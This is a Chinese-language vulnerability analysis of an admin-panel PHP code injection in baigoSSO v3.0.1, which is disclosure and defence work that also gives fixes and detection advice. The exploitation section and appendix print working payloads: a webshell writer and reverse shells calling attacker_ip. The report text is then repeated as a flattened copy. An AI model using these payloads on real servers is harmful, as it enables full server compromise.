某sso开源单点登录系统后台代码执行
字数 898 2025-08-29 08:32:02

某SSO开源单点登录系统后台代码执行漏洞分析报告

0x00 漏洞概述

受影响系统:baigoSSO v3.0.1
漏洞类型:后台代码注入导致远程代码执行
漏洞等级:高危
利用条件:需要后台管理员权限
影响范围:可导致服务器完全沦陷

0x01 漏洞复现步骤

1. 环境准备

  • 下载受影响版本:https://github.com/baigoStudio/baigoSSO
  • 安装并配置系统,获取后台管理员权限

2. 漏洞利用过程

  1. 登录系统后台
  2. 导航至:系统设置 → 基本设置 → 站点名称
  3. 修改站点名称为以下payload:
    aaaaa');phpinfo();/*111111111
    
  4. 刷新页面,观察phpinfo()是否被执行

0x02 漏洞原理分析

关键函数分析

漏洞位于mdl_const函数中,该函数负责处理系统配置并生成配置文件:

function mdl_const($str_type) {
    if (!fn_token('chk')) { //令牌验证
        return array('rcode' => 'x030206');
    }

    $_str_content = '<?php' . PHP_EOL;
    foreach ($this->arr_const[$str_type] as $_key=>$_value) {
        if (is_numeric($_value)) {
            $_str_content .= 'define(\'' . $_key . '\', ' . $_value . ');' . PHP_EOL;
        } else {
            // 漏洞点:未对用户输入进行过滤直接拼接
            $_str_content .= 'define(\'' . $_key . '\', \'' . rtrim(str_ireplace(PHP_EOL, '|', $_value), '/\\') . '\');' . PHP_EOL;
        }
    }

    if ($str_type == 'base') {
        $_str_content .= 'define(\'BG_SITE_SSIN\', \'' . fn_rand(6) . '\');' . PHP_EOL;
    }

    $_str_content = str_ireplace('||', '', $_str_content);
    $_num_size = $this->obj_file->file_put(BG_PATH_CONFIG . 'opt_' . $str_type . '.inc.php', $_str_content);
    // ...后续代码...
}

文件写入过程

通过file_put函数(封装了file_put_contents)将配置写入文件:

function file_put($str_path, $str_content) {
    $this->dir_mk($str_path);
    $_num_size = file_put_contents($str_path, $str_content);
    return $_num_size;
}

最终写入的文件路径为:BG_PATH_CONFIG/opt_base.inc.php

漏洞触发原理

  1. 用户输入被直接拼接到PHP配置文件中,未做任何过滤
  2. 通过闭合单引号和PHP语句结束符,可以注入任意PHP代码
  3. 配置文件被包含执行时,注入的代码会被执行

0x03 漏洞利用扩展

1. 直接获取WebShell

使用以下payload可写入webshell:

');file_put_contents('shell.php','<?php eval($_POST[cmd]);?>');/*

2. 反弹Shell

');system('bash -c "bash -i >& /dev/tcp/attacker_ip/port 0>&1"');/*

3. 隐蔽利用

使用base64编码:

');eval(base64_decode('BASE64_PAYLOAD'));/*

0x04 修复建议

临时缓解措施

  1. 限制后台访问IP
  2. 修改配置文件权限为只读

永久修复方案

  1. 对用户输入进行严格过滤:
function safe_input($value) {
    $value = str_replace(array("'", "\"", "\\", "<?", "?>"), "", $value);
    return htmlspecialchars($value, ENT_QUOTES);
}
  1. 修改配置文件生成逻辑,使用序列化存储配置而非直接PHP代码

  2. 更新到最新版本(需确认官方是否已修复)

0x05 检测方法

  1. 检查opt_base.inc.php文件中是否包含可疑代码
  2. 监控配置文件修改行为
  3. 使用Web应用防火墙规则检测配置修改请求中的可疑payload

0x06 参考链接

  • 官方GitHub仓库:https://github.com/baigoStudio/baigoSSO
  • 漏洞披露时间:2019-03-21

附录:完整攻击Payload示例

');$sock=fsockopen("attacker_ip",port);exec("/bin/sh -i <&3 >&3 2>&3");/*
');file_put_contents($_SERVER['DOCUMENT_ROOT'].'/shell.php','<?php @eval($_POST[pass]);?>');/*
某SSO开源单点登录系统后台代码执行漏洞分析报告 0x00 漏洞概述 受影响系统 :baigoSSO v3.0.1 漏洞类型 :后台代码注入导致远程代码执行 漏洞等级 :高危 利用条件 :需要后台管理员权限 影响范围 :可导致服务器完全沦陷 0x01 漏洞复现步骤 1. 环境准备 下载受影响版本:https://github.com/baigoStudio/baigoSSO 安装并配置系统,获取后台管理员权限 2. 漏洞利用过程 登录系统后台 导航至:系统设置 → 基本设置 → 站点名称 修改站点名称为以下payload: 刷新页面,观察phpinfo()是否被执行 0x02 漏洞原理分析 关键函数分析 漏洞位于 mdl_const 函数中,该函数负责处理系统配置并生成配置文件: 文件写入过程 通过 file_put 函数(封装了 file_put_contents )将配置写入文件: 最终写入的文件路径为: BG_PATH_CONFIG/opt_base.inc.php 漏洞触发原理 用户输入被直接拼接到PHP配置文件中,未做任何过滤 通过闭合单引号和PHP语句结束符,可以注入任意PHP代码 配置文件被包含执行时,注入的代码会被执行 0x03 漏洞利用扩展 1. 直接获取WebShell 使用以下payload可写入webshell: 2. 反弹Shell 3. 隐蔽利用 使用base64编码: 0x04 修复建议 临时缓解措施 限制后台访问IP 修改配置文件权限为只读 永久修复方案 对用户输入进行严格过滤: 修改配置文件生成逻辑,使用序列化存储配置而非直接PHP代码 更新到最新版本(需确认官方是否已修复) 0x05 检测方法 检查 opt_base.inc.php 文件中是否包含可疑代码 监控配置文件修改行为 使用Web应用防火墙规则检测配置修改请求中的可疑payload 0x06 参考链接 官方GitHub仓库:https://github.com/baigoStudio/baigoSSO 漏洞披露时间:2019-03-21 附录:完整攻击Payload示例